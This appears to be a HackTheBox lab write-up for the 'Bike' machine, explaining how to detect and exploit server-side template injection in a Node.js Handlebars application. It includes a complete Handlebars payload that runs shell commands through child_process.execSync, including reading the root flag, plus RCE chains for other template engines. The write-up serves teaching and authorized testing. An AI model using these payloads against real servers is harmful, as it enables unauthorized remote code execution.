⚠️ Legal Disclaimer: This content is for educational purposes only. Always ensure you have proper authorization before testing

Server-Side Template Injection (SSTI) occurs when user input is embedded into a server-side template and evaluated by the template engine. Unlike XSS, SSTI executes on the server — making it one of the most impactful web vulnerabilities, often leading directly to remote code execution. Bike demonstrates SSTI in a Node.js application using the Handlebars template engine, alongside Burp Suite for interception and payload delivery.

Tools: nmap - burpsuite - curl Difficulty: Easy OS: Linux
01 — What You Will Learn
SkillWhy it matters
Detecting SSTI via template probingA payload like 7*7 inside template delimiters confirms the vulnerability in seconds
Template engine fingerprintingJinja2, Handlebars, Twig, EJS all require different exploit payloads
Burp Suite Proxy interceptionModifying POST parameters with special characters requires Burp to avoid encoding issues
Handlebars SSTI to RCENode.js process chain gives OS command execution from template context
02 — Reconnaissance
Nmap scan
nmap -sV -sC -p- --min-rate 5000 10.129.x.x
Relevant output
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 80/tcp open http Node.js (Express middleware)

A Node.js/Express application on port 80. Browsing to the app reveals a form that accepts an email address and reflects it back on the page — any field that reflects user input through a template is a candidate for SSTI.

i Express is a minimal Node.js framework. It does not include a template engine by default — the developer chooses one (Handlebars, EJS, Pug). Identifying which engine is in use is the first step toward a working exploit.
03 — Detecting SSTI

Submit template-syntax expressions in the email field and observe whether they are evaluated or echoed literally.

Detection payload — enter in the form field
{{7*7}}

If the response shows 49, the input was evaluated. If an error message appears mentioning the engine name, that is also confirmation — template engines only throw errors on input they attempt to parse.

x If the response reflects your payload literally as the text "7 times 7" or similar without evaluating it, the field is not vulnerable. Move on to other inputs.
04 — Engine Fingerprinting
PayloadJinja2 (Python)Handlebars (Node.js)Twig (PHP)
{{7*7}}4949 or engine error49
{{7*'7'}}7777777 (string repeat)Type error49
${7*7}Echoed literallyEchoed literallyEchoed literally

The Bike application error response directly names Handlebars in the stack trace. This immediately tells you which exploit chain to use.

05 — Exploitation: Handlebars to RCE

Intercept the POST request in Burp Suite. Replace the email value with the Handlebars payload. This payload navigates the JavaScript prototype chain to reach the Function constructor, then calls Node's child_process.execSync().

Burp POST body — email parameter
email={{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').execSync('id').toString();"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}}
Response confirms RCE
uid=0(root) gid=0(root) groups=0(root)
x The process is running as root. This is a direct, unauthenticated RCE with maximum system privilege — the highest possible severity.
06 — Reading the Flag

Swap the id command in the payload for the flag read command:

execSync('cat /root/flag.txt').toString()
Submit the flag string to complete the machine.
07 — SSTI by Template Engine
EngineStackRCE method
Jinja2Python / FlaskClass chain to __import__('os').popen()
HandlebarsNode.jsPrototype chain to child_process.execSync()
TwigPHP / Symfony_self.env.registerUndefinedFilterCallback + getFilter
FreemarkerJava"freemarker.template.utility.Execute"?new()("id")
EJSNode.jsoutputFunctionName parameter injection
PebbleJavaclass.forName("java.lang.Runtime") reflection chain
08 — Key Takeaways
SSTI is SQL injection for the rendering layer. When user input reaches a template engine without sandboxing, the attacker gets the full power of the underlying runtime — running on the server, not in the browser.
ConceptReal-world relevance
Any reflected input is a candidateForms, URL params, HTTP headers, cookies — all should be probed for template injection
Errors reveal engine identityStack traces and error messages from Node.js, Python, and Java apps name the template engine directly
SSTI runs on the serverUnlike XSS, the payload executes server-side with the web process privileges — often root or SYSTEM
Burp is essential for deliveryTemplate payloads contain curly braces and special characters that browsers encode — always inject via Burp
-pt - hackthebox.com